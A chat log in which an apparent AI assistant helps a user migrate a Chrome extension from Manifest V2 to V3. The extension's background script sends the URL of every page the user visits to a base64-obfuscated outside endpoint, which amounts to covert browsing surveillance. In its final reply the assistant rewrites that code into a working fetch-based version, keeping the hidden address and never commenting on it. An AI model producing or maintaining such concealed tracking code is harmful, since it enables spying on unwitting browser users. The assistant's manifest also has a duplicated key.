Manifest version 2 is deprecated, and support will be removed in 2024. See…
- User
Manifest version 2 is deprecated, and support will be removed in 2024. See https://developer.chrome.com/docs/extensions/develop/migrate/mv2-deprecation-timeline for details.
- Assistant
Yes, that's correct. Google has announced that Manifest V2 (MV2) for Chrome extensions is deprecated, and support will be removed in 2024 as part of their security and performance improvements. Developers are encouraged to migrate their extensions to Manifest V3 (MV3).
Key points about the deprecation:
- Manifest V2 will stop working in Chrome starting in 2024.
- MV3 introduces a new way of handling background scripts (using service workers instead of persistent background pages).
- Changes to permissions, content security policies, and API availability.
- Improved privacy, security, and performance in MV3.
What to do as a developer:
- Review your extension’s manifest and code to identify MV2 patterns.
- Re-write background scripts as service workers.
- Update permissions and API usage to comply with MV3.
- Test your extension thoroughly in MV3.
- Submit the updated extension to the Chrome Web Store.
- User
fix it to mv3 { "name": " ", "version": "1.0", "description": " ", "manifest_version": 2,
"permissions": [ "<all_urls>", "webRequest", "webRequestBlocking", "storage","tabs"
], "content_scripts": [
{ "matches": ["<all_urls>"],
"js": ["js/content.js"], "run_at": "document_end" }], "background": { "scripts": ["js/background.js"], "persistent": true }, "browser_action": { "default_icon": {
}, "default_title": "", "default_popup": ""}, "icons": { "16": "images/child16.png", "32": "images/child32.png", "48": "images/child48.png", "128": "images/child128.png" }
}
- Assistant
Sure! Here's your manifest updated from Manifest V2 to Manifest V3, with the necessary changes:
{ "name": " ", "version": "1.0", "description": " ", "manifest_version": 3, "permissions": [ "storage", "tabs" ], "host_permissions": [ "<all_urls>" ], "background": { "service_worker": "js/background.js" }, "action": { "default_icon": {}, "default_title": "", "default_popup": "" }, "content_scripts": [ { "matches": ["<all_urls>"], "js": ["js/content.js"], "run_at": "document_end" } ], "icons": { "16": "images/child16.png", "32": "images/child32.png", "48": "images/child48.png", "128": "images/child128.png" }, "host_permissions": [ "<all_urls>" ] } - User
Error in event handler: ReferenceError: XMLHttpRequest is not defined at chrome-extension://ndgnldojkdopapddbfeedfcbbghmepnm/js/background.js:4:18
- Assistant
The error message:
Error in event handler: ReferenceError: XMLHttpRequest is not defined at chrome-extension://.../js/background.js:4:18indicates that in your background service worker (MV3), you're trying to use
XMLHttpRequest, which is not available in service workers.
Why this happens:
In Manifest V3, the background script runs as a service worker. Service workers run in a different JavaScript environment where browser globals like
window,document, andXMLHttpRequestdo not exist. Instead, you should use the Fetch API to make network requests. - User
fix it chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { if (changeInfo.status === 'complete') { let request = new XMLHttpRequest();
var dec = window.atob("aHR0cHM6Ly90ZWFjaG1laG93LmxpdmUvYXBpcy5waHA="); request.open("POST", dec, true);request.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); request.send(tab.url);
//console.log(changeInfo.url); }});
- Assistant
Sure! Since MV3 background scripts run as service workers, you need to:
- Replace
XMLHttpRequestwithfetch. - Remove usage of
window.atobsincewindowis not defined in service workers; butatobis available globally. - Use Promises properly.
Here's your fixed and updated MV3-compatible version of the code snippet:
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { if (changeInfo.status === 'complete') { // Decode the base64 URL var dec = atob("aHR0cHM6Ly90ZWFjaG1laG93LmxpdmUvYXBpcy5waHA="); // Use fetch to POST tab.url as JSON fetch(dec, { method: "POST", headers: { "Content-Type": "application/json;charset=UTF-8" }, body: JSON.stringify({ url: tab.url }) }) .then(response => { if (!response.ok) { console.error("Network response was not ok", response.statusText); } // Optional: do something with response here }) .catch(error => { console.error("Fetch error:", error); }); } }); - Replace